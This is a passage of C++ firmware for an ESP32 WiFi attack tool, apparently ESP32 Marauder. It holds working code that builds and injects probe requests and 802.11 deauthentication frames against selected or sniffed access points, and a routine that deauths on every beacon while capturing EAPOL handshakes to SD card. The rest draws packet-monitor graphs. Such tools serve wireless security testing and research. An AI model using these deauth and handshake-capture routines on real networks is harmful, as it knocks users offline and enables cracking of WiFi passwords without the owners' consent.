  2002. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  2003. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  2004. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  2005. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  2006. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2007. 0x00, 0x00, 0x00, 0x00};
  2008. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  2009. for (int i = 0; i < 26 + fullLen; i++)
  2010. good_probe_req_packet[i] = prob_req_packet[i];
  2011. for(int i = 0; i < 40; i++)
  2012. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  2013. // Send packet
  2014. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2015. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2016. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2017. packets_sent = packets_sent + 3;
  2018. }
  2019. }
  2020. }
  2021. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
  2022. // Itterate through all access points in list
  2023. // Check if active
  2024. WiFiScan::set_channel = channel;
  2025. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  2026. delay(1);
  2027. // Build packet
  2028. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2029. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2030. deauth_frame_default[10] = bssid[0];
  2031. deauth_frame_default[11] = bssid[1];
  2032. deauth_frame_default[12] = bssid[2];
  2033. deauth_frame_default[13] = bssid[3];
  2034. deauth_frame_default[14] = bssid[4];
  2035. deauth_frame_default[15] = bssid[5];
  2036. deauth_frame_default[16] = bssid[0];
  2037. deauth_frame_default[17] = bssid[1];
  2038. deauth_frame_default[18] = bssid[2];
  2039. deauth_frame_default[19] = bssid[3];
  2040. deauth_frame_default[20] = bssid[4];
  2041. deauth_frame_default[21] = bssid[5];
  2042. // Send packet
  2043. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2044. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2045. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2046. packets_sent = packets_sent + 3;
  2047. }
  2048. void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
  2049. // Itterate through all access points in list
  2050. for (int i = 0; i < access_points->size(); i++) {
  2051. // Check if active
  2052. if (access_points->get(i).selected) {
  2053. this->set_channel = access_points->get(i).channel;
  2054. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2055. delay(1);
  2056. // Build packet
  2057. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2058. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2059. deauth_frame_default[10] = access_points->get(i).bssid[0];
  2060. deauth_frame_default[11] = access_points->get(i).bssid[1];
  2061. deauth_frame_default[12] = access_points->get(i).bssid[2];
  2062. deauth_frame_default[13] = access_points->get(i).bssid[3];
  2063. deauth_frame_default[14] = access_points->get(i).bssid[4];
  2064. deauth_frame_default[15] = access_points->get(i).bssid[5];
  2065. deauth_frame_default[16] = access_points->get(i).bssid[0];
  2066. deauth_frame_default[17] = access_points->get(i).bssid[1];
  2067. deauth_frame_default[18] = access_points->get(i).bssid[2];
  2068. deauth_frame_default[19] = access_points->get(i).bssid[3];
  2069. deauth_frame_default[20] = access_points->get(i).bssid[4];
  2070. deauth_frame_default[21] = access_points->get(i).bssid[5];
  2071. // Send packet
  2072. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2073. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2074. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2075. packets_sent = packets_sent + 3;
  2076. }
  2077. }
  2078. }
  2079. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2080. {
  2081. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2082. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2083. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2084. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2085. int len = snifferPacket->rx_ctrl.sig_len;
  2086. String display_string = "";
  2087. #ifdef HAS_SCREEN
  2088. int buff = display_obj.display_buffer->size();
  2089. #else
  2090. int buff = 0;
  2091. #endif
  2092. if (type == WIFI_PKT_MGMT)
  2093. {
  2094. len -= 4;
  2095. int fctl = ntohs(frameControl->fctl);
  2096. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2097. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2098. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  2099. #ifndef MARAUDER_MINI
  2100. if (snifferPacket->payload[0] == 0x80)
  2101. {
  2102. num_beacon++;
  2103. }
  2104. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  2105. {
  2106. num_deauth++;
  2107. }
  2108. else if (snifferPacket->payload[0] == 0x40)
  2109. {
  2110. num_probe++;
  2111. }
  2112. #endif
  2113. char addr[] = "00:00:00:00:00:00";
  2114. getMAC(addr, snifferPacket->payload, 10);
  2115. display_string.concat(addr);
  2116. int temp_len = display_string.length();
  2117. #ifdef HAS_SCREEN
  2118. for (int i = 0; i < 40 - temp_len; i++)
  2119. {
  2120. display_string.concat(" ");
  2121. }
  2122. //Serial.print(" ");
  2123. #ifdef MARAUDER_MINI
  2124. if (display_obj.display_buffer->size() == 0)
  2125. {
  2126. display_obj.loading = true;
  2127. display_obj.display_buffer->add(display_string);
  2128. display_obj.loading = false;
  2129. }
  2130. #endif
  2131. #endif
  2132. if (save_packet)
  2133. sd_obj.addPacket(snifferPacket->payload, len);
  2134. }
  2135. }
  2136. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2137. {
  2138. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2139. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2140. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2141. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2142. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2143. int len = snifferPacket->rx_ctrl.sig_len;
  2144. String display_string = "";
  2145. if (type == WIFI_PKT_MGMT)
  2146. {
  2147. len -= 4;
  2148. int fctl = ntohs(frameControl->fctl);
  2149. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2150. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2151. }
  2152. #ifdef HAS_SCREEN
  2153. int buff = display_obj.display_buffer->size();
  2154. #else
  2155. int buff = 0;
  2156. #endif
  2157. // Found beacon frame. Decide whether to deauth
  2158. if (send_deauth) {
  2159. if (snifferPacket->payload[0] == 0x80) {
  2160. // Build packet
  2161. uint8_t new_packet[26] = {
  2162. 0xc0, 0x00, 0x3a, 0x01,
  2163. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2164. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2165. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2166. 0xf0, 0xff, 0x02, 0x00
  2167. };
  2168. new_packet[10] = snifferPacket->payload[10];
  2169. new_packet[11] = snifferPacket->payload[11];
  2170. new_packet[12] = snifferPacket->payload[12];
  2171. new_packet[13] = snifferPacket->payload[13];
  2172. new_packet[14] = snifferPacket->payload[14];
  2173. new_packet[15] = snifferPacket->payload[15];
  2174. new_packet[16] = snifferPacket->payload[10];
  2175. new_packet[17] = snifferPacket->payload[11];
  2176. new_packet[18] = snifferPacket->payload[12];
  2177. new_packet[19] = snifferPacket->payload[13];
  2178. new_packet[20] = snifferPacket->payload[14];
  2179. new_packet[21] = snifferPacket->payload[15];
  2180. // Send packet
  2181. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2182. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2183. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2184. delay(1);
  2185. }
  2186. }
  2187. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2188. num_eapol++;
  2189. Serial.println("Received EAPOL:");
  2190. char addr[] = "00:00:00:00:00:00";
  2191. getMAC(addr, snifferPacket->payload, 10);
  2192. display_string.concat(addr);
  2193. int temp_len = display_string.length();
  2194. #ifdef HAS_SCREEN
  2195. for (int i = 0; i < 40 - temp_len; i++)
  2196. {
  2197. display_string.concat(" ");
  2198. }
  2199. Serial.print(" ");
  2200. #ifdef MARAUDER_MINI
  2201. if (display_obj.display_buffer->size() == 0)
  2202. {
  2203. display_obj.loading = true;
  2204. display_obj.display_buffer->add(display_string);
  2205. display_obj.loading = false;
  2206. }
  2207. #endif
  2208. #endif
  2209. // for (int i = 0; i < len; i++) {
  2210. // char hexCar[4];
  2211. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2212. // Serial.print(hexCar);
  2213. //Serial.print(snifferPacket->payload[i], HEX);
  2214. // if ((i + 1) % 16 == 0)
  2215. // Serial.print("\n");
  2216. // else
  2217. // Serial.print(" ");
  2218. // }
  2219. // Serial.print("\n");
  2220. }
  2221. if (save_packet)
  2222. sd_obj.addPacket(snifferPacket->payload, len);
  2223. }
  2224. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2225. {
  2226. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2227. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2228. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2229. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2230. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2231. int len = snifferPacket->rx_ctrl.sig_len;
  2232. if (type == WIFI_PKT_MGMT)
  2233. {
  2234. len -= 4;
  2235. int fctl = ntohs(frameControl->fctl);
  2236. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2237. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2238. }
  2239. // Found beacon frame. Decide whether to deauth
  2240. if (snifferPacket->payload[0] == 0x80) {
  2241. // Build packet
  2242. //Serial.println("Recieved beacon frame");
  2243. uint8_t new_packet[26] = {
  2244. 0xc0, 0x00, 0x3a, 0x01,
  2245. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2246. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2247. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2248. 0xf0, 0xff, 0x02, 0x00
  2249. };
  2250. new_packet[10] = snifferPacket->payload[10];
  2251. new_packet[11] = snifferPacket->payload[11];
  2252. new_packet[12] = snifferPacket->payload[12];
  2253. new_packet[13] = snifferPacket->payload[13];
  2254. new_packet[14] = snifferPacket->payload[14];
  2255. new_packet[15] = snifferPacket->payload[15];
  2256. new_packet[16] = snifferPacket->payload[10];
  2257. new_packet[17] = snifferPacket->payload[11];
  2258. new_packet[18] = snifferPacket->payload[12];
  2259. new_packet[19] = snifferPacket->payload[13];
  2260. new_packet[20] = snifferPacket->payload[14];
  2261. new_packet[21] = snifferPacket->payload[15];
  2262. // Send packet
  2263. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2264. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2265. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2266. delay(1);
  2267. }
  2268. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2269. num_eapol++;
  2270. Serial.println("Received EAPOL:");
  2271. // for (int i = 0; i < len; i++) {
  2272. // char hexCar[3];
  2273. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2274. // Serial.print(hexCar);
  2275. //Serial.print(snifferPacket->payload[i], HEX);
  2276. // if ((i + 1) % 16 == 0)
  2277. // Serial.print("\n");
  2278. // else
  2279. // Serial.print(" ");
  2280. // }
  2281. // Serial.print("\n");
  2282. }
  2283. if (save_packet)
  2284. sd_obj.addPacket(snifferPacket->payload, len);
  2285. }
  2286. #ifdef HAS_SCREEN
  2287. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2288. {
  2289. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2290. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2291. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2292. {
  2293. currentTime = millis();
  2294. do_break = false;
  2295. y_pos_x = 0;
  2296. y_pos_y = 0;
  2297. y_pos_z = 0;
  2298. boolean pressed = false;
  2299. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2300. // Do the touch stuff
  2301. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2302. if (pressed) {
  2303. Serial.print("Got touch | X: ");
  2304. Serial.print(t_x);
  2305. Serial.print(" Y: ");
  2306. Serial.println(t_y);
  2307. }
  2308. // Check buttons for presses
  2309. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2310. {
  2311. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2312. {
  2313. display_obj.key[b].press(true);
  2314. } else {
  2315. display_obj.key[b].press(false);
  2316. }
  2317. }
  2318. // Which buttons pressed
  2319. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2320. {
  2321. if (display_obj.key[b].justPressed())
  2322. {
  2323. Serial.println("Bro, key pressed");
  2324. //do_break = true;
  2325. }
  2326. if (display_obj.key[b].justReleased())
  2327. {
  2328. do_break = true;
  2329. // Channel - button pressed
  2330. if (b == 4) {
  2331. if (set_channel > 1) {
  2332. Serial.println("Shit channel down");
  2333. set_channel--;
  2334. delay(70);
  2335. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2336. //display_obj.tftDrawXScaleButtons(x_scale);
  2337. //display_obj.tftDrawYScaleButtons(y_scale);
  2338. display_obj.tftDrawChannelScaleButtons(set_channel);
  2339. display_obj.tftDrawExitScaleButtons();
  2340. changeChannel();
  2341. break;
  2342. }
  2343. }
  2344. // Channel + button pressed
  2345. else if (b == 5) {
  2346. if (set_channel < MAX_CHANNEL) {
  2347. Serial.println("Shit channel up");
  2348. set_channel++;
  2349. delay(70);
  2350. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2351. //display_obj.tftDrawXScaleButtons(x_scale);
  2352. //display_obj.tftDrawYScaleButtons(y_scale);
  2353. display_obj.tftDrawChannelScaleButtons(set_channel);
  2354. display_obj.tftDrawExitScaleButtons();
  2355. changeChannel();
  2356. break;
  2357. }
  2358. }
  2359. else if (b == 6) {
  2360. Serial.println("Exiting packet monitor...");
  2361. this->StartScan(WIFI_SCAN_OFF);
  2362. //display_obj.tft.init();
  2363. this->orient_display = true;
  2364. return;
  2365. }
  2366. }
  2367. }
  2368. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2369. //Serial.println("-----------------------------------------");
  2370. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2371. x_pos += x_scale;
  2372. initTime = millis();
  2373. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2374. if (y_pos_x >= HEIGHT_1) {
  2375. Serial.println("Max EAPOL number reached. Adjusting...");
  2376. num_eapol = 0;
  2377. }
  2378. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2379. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2380. //Serial.println("num_beacon: " + (String)num_beacon);
  2381. //Serial.println("num_deauth: " + (String)num_deauth);
  2382. //Serial.println(" num_probe: " + (String)num_probe);
  2383. //num_beacon = 0;
  2384. //num_probe = 0;
  2385. //num_deauth = 0;
  2386. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2387. //Plot "X" value
  2388. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2389. //Plot "Z" value
  2390. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2391. //Plot "Y" value
  2392. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2393. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2394. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2395. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2396. {
  2397. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2398. }
  2399. else
  2400. {
  2401. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2402. }
  2403. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2404. //if (x_pos <= 90)
  2405. if (x_pos < 0) // below x axis
  2406. {
  2407. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2408. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2409. }
  2410. else
  2411. {
  2412. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2413. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2414. }
  2415. //tftDisplayTime();
  2416. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2417. {
  2418. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2419. }
  2420. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2421. //y_pos_y_old = y_pos_y;
  2422. //y_pos_z_old = y_pos_z;
  2423. //delay(50);
  2424. }
  2425. sd_obj.main();
  2426. }
  2427. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2428. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2429. display_obj.tftDrawChannelScaleButtons(set_channel);
  2430. display_obj.tftDrawExitScaleButtons();
  2431. display_obj.tftDrawEapolColorKey();
  2432. display_obj.tftDrawGraphObjects(x_scale);
  2433. }
  2434. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2435. {
  2436. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2437. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2438. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2439. {
  2440. currentTime = millis();
  2441. do_break = false;
  2442. y_pos_x = 0;
  2443. y_pos_y = 0;
  2444. y_pos_z = 0;
  2445. boolean pressed = false;
  2446. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2447. // Do the touch stuff
  2448. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2449. if (pressed) {
  2450. Serial.print("Got touch | X: ");
  2451. Serial.print(t_x);
  2452. Serial.print(" Y: ");
  2453. Serial.println(t_y);
  2454. }
  2455. // Check buttons for presses
  2456. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2457. {
  2458. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2459. {
  2460. display_obj.key[b].press(true);
  2461. } else {
  2462. display_obj.key[b].press(false);
  2463. }
  2464. }
  2465. // Which buttons pressed
  2466. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2467. {
  2468. if (display_obj.key[b].justPressed())
  2469. {
  2470. Serial.println("Bro, key pressed");
  2471. //do_break = true;
  2472. }
  2473. if (display_obj.key[b].justReleased())
  2474. {
  2475. do_break = true;
  2476. // X - button pressed
  2477. if (b == 0) {
  2478. if (x_scale > 1) {
  2479. x_scale--;
  2480. delay(70);
  2481. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2482. display_obj.tftDrawXScaleButtons(x_scale);
  2483. display_obj.tftDrawYScaleButtons(y_scale);
  2484. display_obj.tftDrawChannelScaleButtons(set_channel);
  2485. display_obj.tftDrawExitScaleButtons();
  2486. break;
  2487. }
  2488. }
  2489. // X + button pressed
  2490. else if (b == 1) {
  2491. if (x_scale < 6) {
  2492. x_scale++;
  2493. delay(70);
  2494. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2495. display_obj.tftDrawXScaleButtons(x_scale);
  2496. display_obj.tftDrawYScaleButtons(y_scale);
  2497. display_obj.tftDrawChannelScaleButtons(set_channel);
  2498. display_obj.tftDrawExitScaleButtons();
  2499. break;
  2500. }
  2501. }
  2502. // Y - button pressed
  2503. else if (b == 2) {
  2504. if (y_scale > 1) {
  2505. y_scale--;
  2506. delay(70);
  2507. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2508. display_obj.tftDrawXScaleButtons(x_scale);
  2509. display_obj.tftDrawYScaleButtons(y_scale);
  2510. display_obj.tftDrawChannelScaleButtons(set_channel);
  2511. display_obj.tftDrawExitScaleButtons();
  2512. //updateMidway();
  2513. break;
  2514. }
  2515. }
  2516. // Y + button pressed
  2517. else if (b == 3) {
  2518. if (y_scale < 9) {
  2519. y_scale++;
  2520. delay(70);
  2521. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2522. display_obj.tftDrawXScaleButtons(x_scale);
  2523. display_obj.tftDrawYScaleButtons(y_scale);
  2524. display_obj.tftDrawChannelScaleButtons(set_channel);
  2525. display_obj.tftDrawExitScaleButtons();
  2526. //updateMidway();
  2527. break;
  2528. }
  2529. }
  2530. // Channel - button pressed
  2531. else if (b == 4) {
  2532. if (set_channel > 1) {
  2533. Serial.println("Shit channel down");
  2534. set_channel--;
  2535. delay(70);
  2536. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2537. display_obj.tftDrawXScaleButtons(x_scale);
  2538. display_obj.tftDrawYScaleButtons(y_scale);
  2539. display_obj.tftDrawChannelScaleButtons(set_channel);
  2540. display_obj.tftDrawExitScaleButtons();
  2541. changeChannel();
  2542. break;
  2543. }
  2544. }
  2545. // Channel + button pressed
  2546. else if (b == 5) {
  2547. if (set_channel < MAX_CHANNEL) {
  2548. Serial.println("Shit channel up");
  2549. set_channel++;
  2550. delay(70);
  2551. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2552. display_obj.tftDrawXScaleButtons(x_scale);
  2553. display_obj.tftDrawYScaleButtons(y_scale);
  2554. display_obj.tftDrawChannelScaleButtons(set_channel);
  2555. display_obj.tftDrawExitScaleButtons();
  2556. changeChannel();
  2557. break;
  2558. }
  2559. }
  2560. else if (b == 6) {
  2561. Serial.println("Exiting packet monitor...");
  2562. this->StartScan(WIFI_SCAN_OFF);
  2563. //display_obj.tft.init();
  2564. this->orient_display = true;
  2565. return;
  2566. }
  2567. }
  2568. }
  2569. if (currentTime - initTime >= GRAPH_REFRESH) {
  2570. //Serial.println("-----------------------------------------");
  2571. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2572. x_pos += x_scale;
  2573. initTime = millis();
  2574. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2575. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2576. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2577. //Serial.println("num_beacon: " + (String)num_beacon);
  2578. //Serial.println("num_deauth: " + (String)num_deauth);
  2579. //Serial.println(" num_probe: " + (String)num_probe);
  2580. num_beacon = 0;
  2581. num_probe = 0;
  2582. num_deauth = 0;
  2583. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2584. //Plot "X" value
  2585. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2586. //Plot "Z" value
  2587. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2588. //Plot "Y" value
  2589. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2590. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2591. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2592. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2593. {
  2594. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2595. }
  2596. else
  2597. {
  2598. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2599. }
  2600. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2601. //if (x_pos <= 90)
  2602. if (x_pos < 0) // below x axis
  2603. {
  2604. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2605. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2606. }
  2607. else
  2608. {
  2609. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2610. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2611. }
  2612. //tftDisplayTime();
  2613. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2614. {
  2615. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2616. }
  2617. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2618. y_pos_y_old = y_pos_y;
  2619. y_pos_z_old = y_pos_z;
  2620. //delay(50);
  2621. }
  2622. sd_obj.main();
  2623. }
  2624. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2625. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2626. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2627. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2628. display_obj.tftDrawYScaleButtons(y_scale);
  2629. display_obj.tftDrawChannelScaleButtons(set_channel);
  2630. display_obj.tftDrawExitScaleButtons();
  2631. display_obj.tftDrawColorKey();
  2632. display_obj.tftDrawGraphObjects(x_scale);
  2633. }
  2634. #endif
  2635. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2636. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2637. // showMetadata(snifferPacket, type);
  2638. //}
  2639. void WiFiScan::changeChannel(int chan) {
  2640. this->set_channel = chan;
  2641. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2642. delay(1);
  2643. }
  2644. void WiFiScan::changeChannel()
  2645. {
  2646. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2647. delay(1);
  2648. }
  2649. // Function to cycle to the next channel
  2650. void WiFiScan::channelHop()
  2651. {
  2652. this->set_channel = this->set_channel + 1;
  2653. if (this->set_channel > 13) {
  2654. this->set_channel = 1;
  2655. }
  2656. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2657. delay(1);
  2658. }
  2659. char* WiFiScan::stringToChar(String string) {
  2660. char buf[string.length() + 1] = {};
  2661. string.toCharArray(buf, string.length() + 1);
  2662. return buf;
  2663. }
  2664. // Function for updating scan status
  2665. void WiFiScan::main(uint32_t currentTime)
  2666. {
  2667. // WiFi operations
  2668. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2669. (currentScanMode == WIFI_SCAN_AP) ||
  2670. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2671. (currentScanMode == WIFI_SCAN_PWN) ||
  2672. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2673. (currentScanMode == WIFI_SCAN_DEAUTH) ||
